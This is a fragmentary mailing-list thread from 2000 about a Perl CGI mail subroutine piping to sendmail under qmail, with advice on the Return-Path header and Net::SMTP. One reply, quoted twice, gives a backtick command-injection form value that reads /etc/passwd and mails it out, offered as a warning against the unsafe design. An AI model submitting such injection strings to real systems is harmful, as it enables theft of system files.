AIL PROTECTED]
Instructor, Network Administrator
University of Northwestern Ohio
http://www.unoh.edu
> -Original Message-
> From: Peter Green [mailto:[EMAIL PROTECTED]]
> Sent: Monday, November 13, 2000 3:16 PM
> To: [EMAIL PROTECTED]
> Subject: Re: perl script acting f
On Mon, Nov 13, 2000 at 03:04:27PM -0500, Wesley Wannemacher wrote:
> It is notoriously bad to /usr/lib/sendmail from a CGI script. Try
> using the Net::SMTP module instead. It uses sockets, so you wouldn't
> even have to worry about your local MTA.
But you have to worry about connection failures
* Wesley Wannemacher <[EMAIL PROTECTED]> [001113 15:09]:
> I could be a little bit off-base, but it might be a bad idea to
> approach your problem this way. For instance, what if a person enters
> somewhere in the form:
> `cat /etc/passwd | mail -s "You dumb f***, you just got hacked"
> [EMAIL PRO
I could be a little bit off-base, but it might be a bad idea to
approach your problem this way. For instance, what if a person enters
somewhere in the form:
`cat /etc/passwd | mail -s "You dumb f***, you just got hacked"
[EMAIL PROTECTED]`
It is notoriously bad to /usr/lib/sendmail from a CGI scri
* Timothy Legant <[EMAIL PROTECTED]> [001112 19:28]:
> On Sun, Nov 12, 2000 at 12:55:08PM -0500, Peter Green wrote:
> > program with either [EMAIL PROTECTED] (the literal user and machine
> > name where the mail is originating) or the argument to the ``-f'' flag as
> > specified above.
>
> Does t
On Sun, Nov 12, 2000 at 12:55:08PM -0500, Peter Green wrote:
> also sprach fabrice:
> > > /usr/lib/sendmail -t -f [EMAIL PROTECTED]
> > You might as well add this header line:
> > print MAIL "Return-Path: ...\n";
>
> You can, though it won't do anything. It will be overwritten by the sendmail
also sprach fabrice:
> > /usr/lib/sendmail -t -f [EMAIL PROTECTED]
> You might as well add this header line:
> print MAIL "Return-Path: ...\n";
You can, though it won't do anything. It will be overwritten by the sendmail
program with either [EMAIL PROTECTED] (the literal user and machine
name
Russ Allbery wrote:
>
> Greg Kopp <[EMAIL PROTECTED]> writes:
>
> > I have qmail and vpopmail installed on RH 6.2. I have a perl subroutine that
> > we use to send e-mail. Here is the code snipit:
>
> > sub mailto
> > { $mailprog = '/usr/lib/sendmail';
> >open(MAIL,"|$mailprog -t");
> >
Greg Kopp <[EMAIL PROTECTED]> writes:
> I have qmail and vpopmail installed on RH 6.2. I have a perl subroutine that
> we use to send e-mail. Here is the code snipit:
> sub mailto
> { $mailprog = '/usr/lib/sendmail';
>open(MAIL,"|$mailprog -t");
>my @args = @_;
>print MAIL "To: $arg